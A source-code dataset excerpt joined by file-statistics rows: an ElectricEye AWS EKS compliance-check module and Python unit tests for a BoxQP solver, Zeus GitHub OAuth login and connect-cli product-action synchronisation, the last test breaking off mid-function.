"Url": "https://docs.aws.amazon.com/eks/latest/userguide/control-plane-logs.html",
}
},
"ProductFields": {"Product Name": "ElectricEye"},
"Resources": [
{
"Type": "AwsEksCluster",
"Id": clusterArn,
"Partition": awsPartition,
"Region": awsRegion,
"Details": {"Other": {"Cluster Name": clusterName}},
}
],
"Compliance": {
"Status": "FAILED",
"RelatedRequirements": [
"NIST CSF DE.AE-3",
"NIST SP 800-53 AU-6",
"NIST SP 800-53 CA-7",
"NIST SP 800-53 IR-4",
"NIST SP 800-53 IR-5",
"NIST SP 800-53 IR-8",
"NIST SP 800-53 SI-4",
"AICPA TSC CC7.2",
"ISO 27001:2013 A.12.4.1",
"ISO 27001:2013 A.16.1.7",
],
},
"Workflow": {"Status": "NEW"},
"RecordState": "ACTIVE",
}
yield finding
except Exception as e:
print(e)
@registry.register_check("eks")
def eks_secrets_envelope_encryption_check(cache: dict, awsAccountId: str, awsRegion: str, awsPartition: str) -> dict:
"""[EKS.4] Elastic Kubernetes Service (EKS) clusters API servers should have envelope encryption for secrets configured"""
# ISO Time
iso8601Time = (datetime.datetime.utcnow().replace(tzinfo=datetime.timezone.utc).isoformat())
# loop through EKS clusters
for clusters in eks.list_clusters(maxResults=100)["clusters"]:
cluster = str(clusters)
try:
response = eks.describe_cluster(name=cluster)["cluster"]
clusterName = str(response["name"])
clusterArn = str(response["arn"])
try:
# There could technically be more than one thing here, one day, but...whatever?
# This is a Passing Finding!
k8sSecretKey = str(response["encryptionConfig"][0]["provider"]["keyArn"])
finding = {
"SchemaVersion": "2018-10-08",
"Id": clusterArn + "/secrets-envelope-encryption-check",
"ProductArn": f"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default",
"GeneratorId": clusterName,
"AwsAccountId": awsAccountId,
"Types": [
"Software and Configuration Checks/AWS Security Best Practices",
"Effects/Data Exposure"
],
"FirstObservedAt": iso8601Time,
"CreatedAt": iso8601Time,
"UpdatedAt": iso8601Time,
"Severity": {"Label": "INFORMATIONAL"},
"Confidence": 99,
"Title": "[EKS.4] Elastic Kubernetes Service (EKS) clusters API servers should have envelope encryption for secrets configured",
"Description": "Elastic Kubernetes Service (EKS) cluster "
+ clusterName
+ " has envelope encryption for secrets configured.",
"Remediation": {
"Recommendation": {
"Text": "EKS allows you to implement envelope encryption of Kubernetes secrets using AWS Key Management Service (KMS) keys. To enable it refer to the Enabling envelope encryption on an existing cluster section of the EKS user guide",
"Url": "https://docs.aws.amazon.com/eks/latest/userguide/update-cluster.html#enable-kms"
}
},
"ProductFields": {"Product Name": "ElectricEye"},
"Resources": [
{
"Type": "AwsEksCluster",
"Id": clusterArn,
"Partition": awsPartition,
"Region": awsRegion,
"Details": {
"Other": {
"Cluster Name": clusterName,
"KMS Key ARN": k8sSecretKey,
}
}
}
],
"Compliance": {
"Status": "PASSED",
"RelatedRequirements": [
"NIST CSF PR.DS-1",
"NIST SP 800-53 MP-8",
"NIST SP 800-53 SC-12",
"NIST SP 800-53 SC-28",
"AICPA TSC CC6.1",
"ISO 27001:2013 A.8.2.3",
],
},
"Workflow": {"Status": "RESOLVED"},
"RecordState": "ARCHIVED",
}
yield finding
except:
k8sSecretKey = 'NO_SECRETS_ENCRYPTION'
finding = {
"SchemaVersion": "2018-10-08",
"Id": clusterArn + "/secrets-envelope-encryption-check",
"ProductArn": f"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default",
"GeneratorId": clusterName,
"AwsAccountId": awsAccountId,
"Types": [
"Software and Configuration Checks/AWS Security Best Practices",
"Effects/Data Exposure"
],
"FirstObservedAt": iso8601Time,
"CreatedAt": iso8601Time,
"UpdatedAt": iso8601Time,
"Severity": {"Label": "HIGH"},
"Confidence": 99,
"Title": "[EKS.4] Elastic Kubernetes Service (EKS) clusters API servers should have envelope encryption for secrets configured",
"Description": "Elastic Kubernetes Service (EKS) cluster "
+ clusterName
+ " does not have envelope encryption for secrets configured. Refer to the remediation instructions if this configuration is not intended",
"Remediation": {
"Recommendation": {
"Text": "EKS allows you to implement envelope encryption of Kubernetes secrets using AWS Key Management Service (KMS) keys. To enable it refer to the Enabling envelope encryption on an existing cluster section of the EKS user guide",
"Url": "https://docs.aws.amazon.com/eks/latest/userguide/update-cluster.html#enable-kms"
}
},
"ProductFields": {"Product Name": "ElectricEye"},
"Resources": [
{
"Type": "AwsEksCluster",
"Id": clusterArn,
"Partition": awsPartition,
"Region": awsRegion,
"Details": {
"Other": {
"Cluster Name": clusterName,
"KMS Key ARN": k8sSecretKey,
}
}
}
],
"Compliance": {
"Status": "FAILED",
"RelatedRequirements": [
"NIST CSF PR.DS-1",
"NIST SP 800-53 MP-8",
"NIST SP 800-53 SC-12",
"NIST SP 800-53 SC-28",
"AICPA TSC CC6.1",
"ISO 27001:2013 A.8.2.3",
],
},
"Workflow": {"Status": "NEW"},
"RecordState": "ACTIVE",
}
yield finding
except Exception as e:
print(e)
| 54.405109
| 331
| 0.432884
| 2,269
| 29,814
| 5.674306
| 0.136183
| 0.014913
| 0.022369
| 0.02734
| 0.882408
| 0.876971
| 0.871689
| 0.870757
| 0.866796
| 0.866796
| 0
| 0.047525
| 0.472094
| 29,814
| 548
| 332
| 54.405109
| 0.770506
| 0.049909
| 0
| 0.806324
| 0
| 0.039526
| 0.35389
| 0.034194
| 0
| 0
| 0
| 0
| 0
| 1
| 0.007905
| false
| 0.007905
| 0.005929
| 0
| 0.013834
| 0.007905
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
f755ec826fbacf271a2847136bb1d1a1b21654ae
| 3,864
|
py
|
Python
|
exotica_core/test/test_box_qp.py
|
maxspahn/exotica
|
f748a5860939b870ab522a1bd553d2fa0da56f8e
|
[
"BSD-3-Clause"
] | null | null | null |
exotica_core/test/test_box_qp.py
|
maxspahn/exotica
|
f748a5860939b870ab522a1bd553d2fa0da56f8e
|
[
"BSD-3-Clause"
] | null | null | null |
exotica_core/test/test_box_qp.py
|
maxspahn/exotica
|
f748a5860939b870ab522a1bd553d2fa0da56f8e
|
[
"BSD-3-Clause"
] | null | null | null |
import numpy as np
import pyexotica as exo
import unittest
from numpy import testing as nptest
from scipy.optimize import minimize
class TestBoxQP(unittest.TestCase):
"""Tests BoxQP implementation against scipy."""
def test_zero_q(self):
np.random.seed(100)
# check against 100 state,control pairs
for i in range(100):
H = np.random.normal(
size=(2, 2), loc=0, scale=10
)
H = np.abs(H)
H[0, 1] = H[1,0] = 0
b_low = np.array([-5., -5.])
b_high = np.array([5., 5.])
x_init = np.array([-3., 2.])
q = np.array([0.0, 0.0])
sol = exo.box_qp(H, q, b_low, b_high, x_init, 0.1, 100, 1e-5, 1e-5)
def cost(x):
return .5 * np.matmul(np.matmul(x.T, H), x) + np.matmul(q.T, x)
sp_sol = minimize(cost, x_init, method='TNC', bounds=[
(b_low[0], b_high[0]),
(b_low[1], b_high[1]),
])
nptest.assert_allclose(sp_sol.x, sol.x, rtol=1, atol=1e-4, err_msg="BoxQP and scipy differ!")
def test_zero_h(self):
np.random.seed(100)
# check against 100 state,control pairs
for i in range(10):
H = np.array([[0.,0.], [0.,0.]])
b_low = np.array([-5., -5.])
b_high = np.array([5., 5.])
x_init = np.array([-3., 2.])
q = np.random.normal(size=(2,1), loc=0, scale=10)
sol = exo.box_qp(H, q, b_low, b_high, x_init, 0.1, 100, 1e-5, 1e-5)
def cost(x):
return .5 * np.matmul(np.matmul(x.T, H), x) + np.matmul(q.T, x)
sp_sol = minimize(cost, x_init, method='TNC', bounds=[
(b_low[0], b_high[0]),
(b_low[1], b_high[1]),
])
nptest.assert_allclose(sp_sol.x, sol.x, rtol=1, atol=1e-4, err_msg="BoxQP and scipy differ!")
def test_big_numbers(self):
np.random.seed(100)
# check against 100 state,control pairs
for i in range(100):
H = np.random.normal(
size=(2, 2), loc=0, scale=10
)
H = np.abs(H) * 1e20
H[0, 1] = H[1,0] = 0
b_low = np.array([-5., -5.])
b_high = np.array([5., 5.])
x_init = np.array([-3., 2.])
q = np.array([0, 0])
sol = exo.box_qp(H, q, b_low, b_high, x_init, 0.1, 100, 1e-5, 1e-5)
def cost(x):
return .5 * np.matmul(np.matmul(x.T, H), x) + np.matmul(q.T, x)
sp_sol = minimize(cost, x_init, method='TNC', bounds=[
(b_low[0], b_high[0]),
(b_low[1], b_high[1]),
])
nptest.assert_allclose(sp_sol.x, sol.x, rtol=1, atol=1e-4, err_msg="BoxQP and scipy differ!")
def test_small_numbers(self):
np.random.seed(100)
# check against 100 state,control pairs
for i in range(10):
H = np.random.normal(
size=(2, 2), loc=0, scale=10
)
H = np.abs(H) * 1e-20
H[0, 1] = H[1,0] = 0
b_low = np.array([-5., -5.])
b_high = np.array([5., 5.])
x_init = np.array([-3., 2.])
q = np.array([0, 0])
sol = exo.box_qp(H, q, b_low, b_high, x_init, 0.1, 100, 1e-5, 1e-5)
def cost(x):
return .5 * np.matmul(np.matmul(x.T, H), x) + np.matmul(q.T, x)
sp_sol = minimize(cost, x_init, method='TNC', bounds=[
(b_low[0], b_high[0]),
(b_low[1], b_high[1]),
])
nptest.assert_allclose(sp_sol.x, sol.x, rtol=1, atol=1e-4, err_msg="BoxQP and scipy differ!")
if __name__ == '__main__':
unittest.main()
| 32.2
| 105
| 0.471532
| 599
| 3,864
| 2.90818
| 0.138564
| 0.036739
| 0.022962
| 0.041332
| 0.860505
| 0.850746
| 0.846728
| 0.846728
| 0.846728
| 0.846728
| 0
| 0.072853
| 0.36413
| 3,864
| 119
| 106
| 32.470588
| 0.636142
| 0.050207
| 0
| 0.75
| 0
| 0
| 0.030593
| 0
| 0
| 0
| 0
| 0
| 0.047619
| 1
| 0.095238
| false
| 0
| 0.059524
| 0.047619
| 0.214286
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
f785ddc65856ebe3745bf7ae814755e6688f1afa
| 10,037
|
py
|
Python
|
tests/zeus/web/test_auth_github.py
|
edgerepo/zeus
|
aea557bde167e95b505a42877422a652baee14c9
|
[
"Apache-2.0"
] | null | null | null |
tests/zeus/web/test_auth_github.py
|
edgerepo/zeus
|
aea557bde167e95b505a42877422a652baee14c9
|
[
"Apache-2.0"
] | null | null | null |
tests/zeus/web/test_auth_github.py
|
edgerepo/zeus
|
aea557bde167e95b505a42877422a652baee14c9
|
[
"Apache-2.0"
] | null | null | null |
from urllib.parse import parse_qs
from zeus import factories
from zeus.constants import GITHUB_AUTH_URI, GITHUB_TOKEN_URI, Permission
from zeus.models import Email, Identity, RepositoryAccess, User
def test_login(client):
resp = client.get("/auth/github")
assert resp.status_code == 302
location, querystring = resp.headers["Location"].split("?", 1)
assert location == GITHUB_AUTH_URI
qs = parse_qs(querystring)
assert qs["client_id"] == ["github.client-id"]
assert qs["redirect_uri"] == ["http://localhost/auth/github/complete"]
assert qs["response_type"] == ["code"]
assert sorted(qs["scope"][0].split(",")) == ["read:org", "repo", "user:email"]
def test_login_complete(client, db_session, mocker, responses):
responses.add(
"POST",
GITHUB_TOKEN_URI,
json={
"token_type": "bearer",
"scope": "user:email,read:org",
"access_token": "access-token",
},
)
# TOOD(dcramer): ideally we could test the header easily, but responses
# doesnt make that highly accessible yet
responses.add(
"GET",
"https://api.github.com/user",
match_querystring=True,
json={"id": 1, "login": "test", "email": "foo@example.com"},
)
responses.add(responses.GET, "https://api.github.com/user/orgs", json=[])
responses.add(
"GET",
"https://api.github.com/user/emails",
match_querystring=True,
json=[
{"email": "foo@example.com", "verified": True, "primary": True},
{"email": "foo.bar@example.com", "verified": False, "primary": False},
],
)
resp = client.get("/auth/github/complete?code=abc")
assert resp.status_code == 302, repr(resp)
assert resp.headers["Location"] == "http://localhost/"
user = User.query.filter(User.email == "foo@example.com").first()
assert user
identity = Identity.query.filter(Identity.user_id == user.id).first()
assert identity
assert identity.provider == "github"
assert identity.external_id == "1"
assert identity.scopes == ["user:email", "read:org"]
assert identity.config == {
"access_token": "access-token",
"refresh_token": None,
"login": "test",
}
emails = {
r[0]: r[1]
for r in db_session.query(Email.email, Email.verified).filter(
Email.user_id == user.id
)
}
assert emails.get("foo@example.com") is True
assert emails.get("foo.bar@example.com") is False
assert emails.get("test@users.noreply.github.com") is True
def test_login_complete_no_visible_email(client, mocker, responses):
responses.add(
"POST",
GITHUB_TOKEN_URI,
json={
"token_type": "bearer",
"scope": "user:email,read:org",
"access_token": "access-token",
},
)
responses.add(responses.GET, "https://api.github.com/user/orgs", json=[])
# TOOD(dcramer): ideally we could test the header easily, but responses
# doesnt make that highly accessible yet
responses.add(
"GET",
"https://api.github.com/user",
match_querystring=True,
body='{"id": 1, "login": "test", "email": null}',
)
responses.add(
"GET",
"https://api.github.com/user/emails",
match_querystring=True,
json=[{"email": "foo@example.com", "verified": True, "primary": True}],
)
resp = client.get("/auth/github/complete?code=abc")
assert resp.status_code == 302
assert resp.headers["Location"] == "http://localhost/"
user = User.query.filter(User.email == "foo@example.com").first()
assert user
def test_login_complete_automatic_repo_access(
client, mocker, db_session, responses, default_repo
):
responses.add(
"POST",
GITHUB_TOKEN_URI,
json={
"token_type": "bearer",
"scope": "user:email,read:org",
"access_token": "access-token",
},
)
# TOOD(dcramer): ideally we could test the header easily, but responses
# doesnt make that highly accessible yet
responses.add(
responses.GET,
"https://api.github.com/user",
match_querystring=True,
json={"id": 1, "login": "test", "email": "foo@example.com"},
)
responses.add(
"GET",
"https://api.github.com/user/emails",
match_querystring=True,
json=[{"email": "foo@example.com", "verified": True, "primary": True}],
)
responses.add(
responses.GET,
"https://api.github.com/user/orgs",
json=[{"login": default_repo.owner_name, "permissions": {"admin": True}}],
)
responses.add(
responses.GET,
"https://api.github.com/orgs/{}/repos".format(default_repo.owner_name),
json=[
{
"id": default_repo.external_id,
"name": default_repo.name,
"full_name": default_repo.data["full_name"],
"clone_url": "https://github.com/{}.git".format(
default_repo.data["full_name"]
),
"ssh_url": "git@github.com:getsentry/zeus.git",
"permissions": {"admin": True},
}
],
)
resp = client.get("/auth/github/complete?code=abc")
assert resp.status_code == 302
assert resp.headers["Location"] == "http://localhost/"
user = User.query.filter(User.email == "foo@example.com").first()
assert user
identity = Identity.query.filter(Identity.user_id == user.id).first()
assert identity
assert identity.provider == "github"
assert identity.external_id == "1"
assert identity.config == {
"access_token": "access-token",
"refresh_token": None,
"login": "test",
}
assert identity.scopes == ["user:email", "read:org"]
access = RepositoryAccess.query.filter(
RepositoryAccess.repository_id == default_repo.id,
RepositoryAccess.user_id == user.id,
).first()
assert access
assert access.permission == Permission.admin
def test_login_complete_existing_user_no_identity(
client, db_session, mocker, responses
):
responses.add(
"POST",
GITHUB_TOKEN_URI,
json={
"token_type": "bearer",
"scope": "user:email,read:org",
"access_token": "access-token",
},
)
# TOOD(dcramer): ideally we could test the header easily, but responses
# doesnt make that highly accessible yet
responses.add(
"GET",
"https://api.github.com/user",
match_querystring=True,
json={"id": 1, "login": "test", "email": "foo@example.com"},
)
# responses.add(responses.GET, 'https://api.github.com/user/orgs', json=[])
responses.add(
"GET",
"https://api.github.com/user/emails",
match_querystring=True,
json=[
{"email": "foo@example.com", "verified": True, "primary": True},
{"email": "foo.bar@example.com", "verified": False, "primary": False},
],
)
user = factories.UserFactory.create(email="foo@example.com")
resp = client.get("/auth/github/complete?code=abc")
assert resp.status_code == 302
assert resp.headers["Location"] == "http://localhost/"
identity = Identity.query.filter(Identity.user_id == user.id).first()
assert identity
assert identity.provider == "github"
assert identity.external_id == "1"
assert identity.config == {
"access_token": "access-token",
"refresh_token": None,
"login": "test",
}
assert identity.scopes == ["user:email", "read:org"]
emails = {
r[0]: r[1]
for r in db_session.query(Email.email, Email.verified).filter(
Email.user_id == user.id
)
}
assert emails.get("foo@example.com") is True
assert emails.get("foo.bar@example.com") is False
assert emails.get("test@users.noreply.github.com") is True
def test_login_complete_existing_identity(client, db_session, mocker, responses):
responses.add(
"POST",
GITHUB_TOKEN_URI,
json={
"token_type": "bearer",
"scope": "user:email,read:org",
"access_token": "access-token",
},
)
# TOOD(dcramer): ideally we could test the header easily, but responses
# doesnt make that highly accessible yet
responses.add(
"GET",
"https://api.github.com/user",
match_querystring=True,
json={"id": 1, "login": "test", "email": "foo@example.com"},
)
# responses.add(responses.GET, 'https://api.github.com/user/orgs', json=[])
responses.add(
"GET",
"https://api.github.com/user/emails",
match_querystring=True,
json=[
{"email": "foo@example.com", "verified": True, "primary": True},
{"email": "foo.bar@example.com", "verified": False, "primary": False},
],
)
user = factories.UserFactory.create(email="foo@example.com")
identity = factories.IdentityFactory.create(
user=user, provider="github", external_id="1"
)
resp = client.get("/auth/github/complete?code=abc")
assert resp.status_code == 302
assert resp.headers["Location"] == "http://localhost/"
identity = Identity.query.filter(Identity.user_id == user.id).first()
assert identity
assert identity.provider == "github"
assert identity.external_id == "1"
assert identity.config == {
"access_token": "access-token",
"refresh_token": None,
"login": "test",
}
assert identity.scopes == ["user:email", "read:org"]
emails = {
r[0]: r[1]
for r in db_session.query(Email.email, Email.verified).filter(
Email.user_id == user.id
)
}
assert emails.get("foo@example.com") is True
assert emails.get("foo.bar@example.com") is False
assert emails.get("test@users.noreply.github.com") is True
| 31.267913
| 82
| 0.5947
| 1,164
| 10,037
| 5.02921
| 0.106529
| 0.039289
| 0.037752
| 0.046464
| 0.833789
| 0.807995
| 0.804066
| 0.800307
| 0.800307
| 0.791083
| 0
| 0.004776
| 0.248979
| 10,037
| 320
| 83
| 31.365625
| 0.771823
| 0.068945
| 0
| 0.706564
| 0
| 0
| 0.254501
| 0.028933
| 0
| 0
| 0
| 0
| 0.19305
| 1
| 0.023166
| false
| 0
| 0.015444
| 0
| 0.03861
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
f7861da908874f18ca37467fd75bb48ab6a96fe9
| 13,918
|
py
|
Python
|
tests/plugins/product/sync/test_actions.py
|
cloudblue/product-sync
|
0e1754967830b19673c1625b82ae1535658ec3bc
|
[
"Apache-2.0"
] | null | null | null |
tests/plugins/product/sync/test_actions.py
|
cloudblue/product-sync
|
0e1754967830b19673c1625b82ae1535658ec3bc
|
[
"Apache-2.0"
] | null | null | null |
tests/plugins/product/sync/test_actions.py
|
cloudblue/product-sync
|
0e1754967830b19673c1625b82ae1535658ec3bc
|
[
"Apache-2.0"
] | null | null | null |
from connect.cli.plugins.shared.sync_stats import SynchronizerStats
from connect.cli.plugins.product.sync.actions import ActionsSynchronizer
from connect.client import ConnectClient
def test_skipped(get_sync_actions_env):
stats = SynchronizerStats()
synchronizer = ActionsSynchronizer(
client=ConnectClient(
use_specs=False,
api_key='ApiKey SU:123',
endpoint='https://localhost/public/v1',
),
silent=True,
stats=stats,
)
synchronizer.open('./tests/fixtures/actions_sync.xlsx', 'Actions')
synchronizer.sync()
assert stats['Actions'].get_counts_as_dict() == {
'processed': 1, 'created': 0, 'updated': 0,
'deleted': 0, 'skipped': 1, 'errors': 0,
}
def test_validate_wrong_action(fs, get_sync_actions_env):
get_sync_actions_env['Actions']['C2'] = 'test'
get_sync_actions_env.save(f'{fs.root_path}/test.xlsx')
stats = SynchronizerStats()
synchronizer = ActionsSynchronizer(
client=ConnectClient(
use_specs=False,
api_key='ApiKey SU:123',
endpoint='https://localhost/public/v1',
),
silent=True,
stats=stats,
)
synchronizer.open(f'{fs.root_path}/test.xlsx', 'Actions')
synchronizer.sync()
assert stats['Actions'].get_counts_as_dict() == {
'processed': 1, 'created': 0, 'updated': 0,
'deleted': 0, 'skipped': 0, 'errors': 1,
}
assert stats['Actions']._row_errors == {
2: ['Allowed action values are `-`, `create`, `update` or `delete`. test is not valid '
'action.'],
}
def test_validate_no_verbose_id(fs, get_sync_actions_env):
get_sync_actions_env['Actions']['A2'] = None
get_sync_actions_env['Actions']['C2'] = 'update'
get_sync_actions_env.save(f'{fs.root_path}/test.xlsx')
stats = SynchronizerStats()
synchronizer = ActionsSynchronizer(
client=ConnectClient(
use_specs=False,
api_key='ApiKey SU:123',
endpoint='https://localhost/public/v1',
),
silent=True,
stats=stats,
)
synchronizer.open(f'{fs.root_path}/test.xlsx', 'Actions')
synchronizer.sync()
assert stats['Actions'].get_counts_as_dict() == {
'processed': 1, 'created': 0, 'updated': 0,
'deleted': 0, 'skipped': 0, 'errors': 1,
}
assert stats['Actions']._row_errors == {2: ['Verbose ID is required for update action.']}
def test_validate_wrong_id(fs, get_sync_actions_env):
get_sync_actions_env['Actions']['B2'] = 'wrong id'
get_sync_actions_env['Actions']['C2'] = 'update'
get_sync_actions_env.save(f'{fs.root_path}/test.xlsx')
stats = SynchronizerStats()
synchronizer = ActionsSynchronizer(
client=ConnectClient(
use_specs=False,
api_key='ApiKey SU:123',
endpoint='https://localhost/public/v1',
),
silent=True,
stats=stats,
)
synchronizer.open(f'{fs.root_path}/test.xlsx', 'Actions')
synchronizer.sync()
assert stats['Actions'].get_counts_as_dict() == {
'processed': 1, 'created': 0, 'updated': 0,
'deleted': 0, 'skipped': 0, 'errors': 1,
}
assert stats['Actions']._row_errors == {
2: ['Actions ID must contain only letters, numbers and `_`, provided wrong id'],
}
def test_validate_wrong_scope(fs, get_sync_actions_env):
get_sync_actions_env['Actions']['C2'] = 'update'
get_sync_actions_env['Actions']['G2'] = 'tier3'
get_sync_actions_env.save(f'{fs.root_path}/test.xlsx')
stats = SynchronizerStats()
synchronizer = ActionsSynchronizer(
client=ConnectClient(
use_specs=False,
api_key='ApiKey SU:123',
endpoint='https://localhost/public/v1',
),
silent=True,
stats=stats,
)
synchronizer.open(f'{fs.root_path}/test.xlsx', 'Actions')
synchronizer.sync()
assert stats['Actions'].get_counts_as_dict() == {
'processed': 1, 'created': 0, 'updated': 0,
'deleted': 0, 'skipped': 0, 'errors': 1,
}
assert stats['Actions']._row_errors == {
2: ['Action scope must be one of `asset`, `tier1` or `tier2`. Provided tier3'],
}
def test_delete(fs, get_sync_actions_env, mocked_responses):
get_sync_actions_env['Actions']['C2'] = 'delete'
get_sync_actions_env.save(f'{fs.root_path}/test.xlsx')
stats = SynchronizerStats()
synchronizer = ActionsSynchronizer(
client=ConnectClient(
use_specs=False,
api_key='ApiKey SU:123',
endpoint='https://localhost/public/v1',
),
silent=True,
stats=stats,
)
mocked_responses.add(
method='DELETE',
url='https://localhost/public/v1/products/PRD-276-377-545/actions/ACT-276-377-545-001',
status=204,
)
synchronizer.open(f'{fs.root_path}/test.xlsx', 'Actions')
synchronizer.sync()
assert stats['Actions'].get_counts_as_dict() == {
'processed': 1, 'created': 0, 'updated': 0,
'deleted': 1, 'skipped': 0, 'errors': 0,
}
def test_delete_404(fs, get_sync_actions_env, mocked_responses):
get_sync_actions_env['Actions']['C2'] = 'delete'
get_sync_actions_env.save(f'{fs.root_path}/test.xlsx')
stats = SynchronizerStats()
synchronizer = ActionsSynchronizer(
client=ConnectClient(
use_specs=False,
api_key='ApiKey SU:123',
endpoint='https://localhost/public/v1',
),
silent=True,
stats=stats,
)
mocked_responses.add(
method='DELETE',
url='https://localhost/public/v1/products/PRD-276-377-545/actions/ACT-276-377-545-001',
status=404,
)
synchronizer.open(f'{fs.root_path}/test.xlsx', 'Actions')
synchronizer.sync()
assert stats['Actions'].get_counts_as_dict() == {
'processed': 1, 'created': 0, 'updated': 0,
'deleted': 1, 'skipped': 0, 'errors': 0,
}
def test_delete_500(fs, get_sync_actions_env, mocked_responses):
get_sync_actions_env['Actions']['C2'] = 'delete'
get_sync_actions_env.save(f'{fs.root_path}/test.xlsx')
stats = SynchronizerStats()
synchronizer = ActionsSynchronizer(
client=ConnectClient(
use_specs=False,
api_key='ApiKey SU:123',
endpoint='https://localhost/public/v1',
),
silent=True,
stats=stats,
)
mocked_responses.add(
method='DELETE',
url='https://localhost/public/v1/products/PRD-276-377-545/actions/ACT-276-377-545-001',
status=500,
)
synchronizer.open(f'{fs.root_path}/test.xlsx', 'Actions')
synchronizer.sync()
assert stats['Actions'].get_counts_as_dict() == {
'processed': 1, 'created': 0, 'updated': 0,
'deleted': 0, 'skipped': 0, 'errors': 1,
}
assert stats['Actions']._row_errors == {2: ['500 Internal Server Error']}
def test_update(fs, get_sync_actions_env, mocked_responses, mocked_actions_response):
get_sync_actions_env['Actions']['C2'] = 'update'
response = mocked_actions_response[0]
get_sync_actions_env.save(f'{fs.root_path}/test.xlsx')
stats = SynchronizerStats()
synchronizer = ActionsSynchronizer(
client=ConnectClient(
use_specs=False,
api_key='ApiKey SU:123',
endpoint='https://localhost/public/v1',
),
silent=True,
stats=stats,
)
mocked_responses.add(
method='PUT',
url='https://localhost/public/v1/products/PRD-276-377-545/actions/ACT-276-377-545-001',
json=response,
)
synchronizer.open(f'{fs.root_path}/test.xlsx', 'Actions')
synchronizer.sync()
assert stats['Actions'].get_counts_as_dict() == {
'processed': 1, 'created': 0, 'updated': 1,
'deleted': 0, 'skipped': 0, 'errors': 0,
}
def test_update_500(fs, get_sync_actions_env, mocked_responses, mocked_actions_response):
get_sync_actions_env['Actions']['C2'] = 'update'
get_sync_actions_env.save(f'{fs.root_path}/test.xlsx')
stats = SynchronizerStats()
synchronizer = ActionsSynchronizer(
client=ConnectClient(
use_specs=False,
api_key='ApiKey SU:123',
endpoint='https://localhost/public/v1',
),
silent=True,
stats=stats,
)
mocked_responses.add(
method='PUT',
url='https://localhost/public/v1/products/PRD-276-377-545/actions/ACT-276-377-545-001',
status=500,
)
synchronizer.open(f'{fs.root_path}/test.xlsx', 'Actions')
synchronizer.sync()
assert stats['Actions'].get_counts_as_dict() == {
'processed': 1, 'created': 0, 'updated': 0,
'deleted': 0, 'skipped': 0, 'errors': 1,
}
assert stats['Actions']._row_errors == {2: ['500 Internal Server Error']}
def test_create(fs, get_sync_actions_env, mocked_responses, mocked_actions_response):
get_sync_actions_env['Actions']['A2'] = None
get_sync_actions_env['Actions']['C2'] = 'create'
get_sync_actions_env['Actions']['B2'] = 'test_id'
response = mocked_actions_response[0]
get_sync_actions_env.save(f'{fs.root_path}/test.xlsx')
stats = SynchronizerStats()
synchronizer = ActionsSynchronizer(
client=ConnectClient(
use_specs=False,
api_key='ApiKey SU:123',
endpoint='https://localhost/public/v1',
),
silent=True,
stats=stats,
)
mocked_responses.add(
method='GET',
url='https://localhost/public/v1/products/PRD-276-377-545/actions',
headers={
'Content-Range': 'items 0-3/4',
},
json=mocked_actions_response,
)
mocked_responses.add(
method='POST',
url='https://localhost/public/v1/products/PRD-276-377-545/actions',
json=response,
)
synchronizer.open(f'{fs.root_path}/test.xlsx', 'Actions')
synchronizer.sync()
assert stats['Actions'].get_counts_as_dict() == {
'processed': 1, 'created': 1, 'updated': 0,
'deleted': 0, 'skipped': 0, 'errors': 0,
}
def test_create_500(fs, get_sync_actions_env, mocked_responses, mocked_actions_response):
get_sync_actions_env['Actions']['A2'] = None
get_sync_actions_env['Actions']['C2'] = 'create'
get_sync_actions_env['Actions']['B2'] = 'test_id'
get_sync_actions_env.save(f'{fs.root_path}/test.xlsx')
stats = SynchronizerStats()
synchronizer = ActionsSynchronizer(
client=ConnectClient(
use_specs=False,
api_key='ApiKey SU:123',
endpoint='https://localhost/public/v1',
),
silent=True,
stats=stats,
)
mocked_responses.add(
method='GET',
url='https://localhost/public/v1/products/PRD-276-377-545/actions',
headers={
'Content-Range': 'items 0-3/4',
},
json=mocked_actions_response,
)
mocked_responses.add(
method='POST',
url='https://localhost/public/v1/products/PRD-276-377-545/actions',
status=500,
)
synchronizer.open(f'{fs.root_path}/test.xlsx', 'Actions')
synchronizer.sync()
assert stats['Actions'].get_counts_as_dict() == {
'processed': 1, 'created': 0, 'updated': 0,
'deleted': 0, 'skipped': 0, 'errors': 1,
}
assert stats['Actions']._row_errors == {2: ['500 Internal Server Error']}
def test_create_skip_if_action_id_already_exists(
fs, get_sync_actions_env, mocked_responses, mocked_actions_response,
):
get_sync_actions_env['Actions']['A2'] = None
get_sync_actions_env['Actions']['C2'] = 'create'
get_sync_actions_env.save(f'{fs.root_path}/test.xlsx')
stats = SynchronizerStats()
synchronizer = ActionsSynchronizer(
client=ConnectClient(
use_specs=False,
api_key='ApiKey SU:123',
endpoint='https://localhost/public/v1',
),
silent=True,
stats=stats,
)
mocked_responses.add(
method='GET',
url='https://localhost/public/v1/products/PRD-276-377-545/actions',
headers={
'Content-Range': 'items 0-3/4',
},
json=mocked_actions_response,
)
synchronizer.open(f'{fs.root_path}/test.xlsx', 'Actions')
synchronizer.sync()
assert stats['Actions'].get_counts_as_dict() == {
'processed': 1, 'created': 0, 'updated': 0,
'deleted': 0, 'skipped': 1, 'errors': 0,
}
def test_skip_create_if_action_id_exists_but_update_if_differs_from_source(
fs, get_sync_actions_env, mocked_responses, mocked_actions_response,
):
get_sync_actions_env['Actions']['A2'] = None
get_sync_actions_env['Actions']['C2'] = 'create'
get_sync_actions_env['Actions']['F2'] = 'New Test Description'
get_sync_actions_env.save(f'{fs.root_path}/test.xlsx')
response = mocked_actions_response[0]
stats = SynchronizerStats()
